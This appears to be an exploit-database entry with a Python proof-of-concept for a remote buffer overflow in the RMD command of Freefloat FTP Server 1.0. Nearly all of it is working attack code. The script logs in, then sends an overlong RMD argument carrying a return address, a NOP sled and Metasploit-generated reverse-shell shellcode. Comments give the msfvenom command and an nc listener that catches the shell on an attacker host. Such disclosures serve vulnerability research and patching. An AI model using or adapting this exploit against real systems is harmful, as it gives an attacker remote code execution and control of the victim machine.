Freefloat FTP Server 1.0 RMD Buffer Overflow

2016.11.02
Credit: Karri93
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-119

#!/usr/bin/env python # -*- coding: utf-8 -*- import socket #Exploit Title: FreeFloat FTP Server Buffer Overflow RMD command #Date: 29 Octubre 2016 #Exploit Author: Karri93 #Software Link: http://www.freefloat.com/software/freefloatftpserver.zip #Version: 1.0 #Tested on: Windows XP Profesional SP3 Spanish x86 #Shellcode Metasploit: #msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.7 LPORT=443 -b '\x00\x0A\x0D' -f -c #nc -lvp 443 ret= "\x2F\x1D\xF1\x77" #GDI32.dll shellcode=("\xd9\xc4\xd9\x74\x24\xf4\x5b\x33\xc9\xb1\x52\xba\x9b\x84\x71" "\xb0\x83\xc3\x04\x31\x53\x13\x03\xc8\x97\x93\x45\x12\x7f\xd1" "\xa6\xea\x80\xb6\x2f\x0f\xb1\xf6\x54\x44\xe2\xc6\x1f\x08\x0f" "\xac\x72\xb8\x84\xc0\x5a\xcf\x2d\x6e\xbd\xfe\xae\xc3\xfd\x61" "\x2d\x1e\xd2\x41\x0c\xd1\x27\x80\x49\x0c\xc5\xd0\x02\x5a\x78" "\xc4\x27\x16\x41\x6f\x7b\xb6\xc1\x8c\xcc\xb9\xe0\x03\x46\xe0" "\x22\xa2\x8b\x98\x6a\xbc\xc8\xa5\x25\x37\x3a\x51\xb4\x91\x72" "\x9a\x1b\xdc\xba\x69\x65\x19\x7c\x92\x10\x53\x7e\x2f\x23\xa0" "\xfc\xeb\xa6\x32\xa6\x78\x10\x9e\x56\xac\xc7\x55\x54\x19\x83" "\x31\x79\x9c\x40\x4a\x85\x15\x67\x9c\x0f\x6d\x4c\x38\x4b\x35" "\xed\x19\x31\x98\x12\x79\x9a\x45\xb7\xf2\x37\x91\xca\x59\x50" "\x56\xe7\x61\xa0\xf0\x70\x12\x92\x5f\x2b\xbc\x9e\x28\xf5\x3b" "\xe0\x02\x41\xd3\x1f\xad\xb2\xfa\xdb\xf9\xe2\x94\xca\x81\x68" "\x64\xf2\x57\x3e\x34\x5c\x08\xff\xe4\x1c\xf8\x97\xee\x92\x27" "\x87\x11\x79\x40\x22\xe8\xea\xaf\x1b\xf3\xed\x47\x5e\xf3\xf0" "\x2c\xd7\x15\x98\x42\xbe\x8e\x35\xfa\x9b\x44\xa7\x03\x36\x21" "\xe7\x88\xb5\xd6\xa6\x78\xb3\xc4\x5f\x89\x8e\xb6\xf6\x96\x24" "\xde\x95\x05\xa3\x1e\xd3\x35\x7c\x49\xb4\x88\x75\x1f\x28\xb2" "\x2f\x3d\xb1\x22\x17\x85\x6e\x97\x96\x04\xe2\xa3\xbc\x16\x3a" "\x2b\xf9\x42\x92\x7a\x57\x3c\x54\xd5\x19\x96\x0e\x8a\xf3\x7e" "\xd6\xe0\xc3\xf8\xd7\x2c\xb2\xe4\x66\x99\x83\x1b\x46\x4d\x04" "\x64\xba\xed\xeb\xbf\x7e\x1d\xa6\x9d\xd7\xb6\x6f\x74\x6a\xdb" "\x8f\xa3\xa9\xe2\x13\x41\x52\x11\x0b\x20\x57\x5d\x8b\xd9\x25" "\xce\x7e\xdd\x9a\xef\xaa") buffer= '\x90'*30 + shellcode buffer1= '\x41' * 248 + ret + buffer + '\x43'*(696-len(buffer)) print "Sending..." s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect=s.connect(('192.168.1.150',21)) s.recv(1024) s.send('USER free\r\n') s.recv(1024) s.send('PASS free\r\n') s.recv(1024) s.send('RMD' + buffer1 + '\r\n') s.close()


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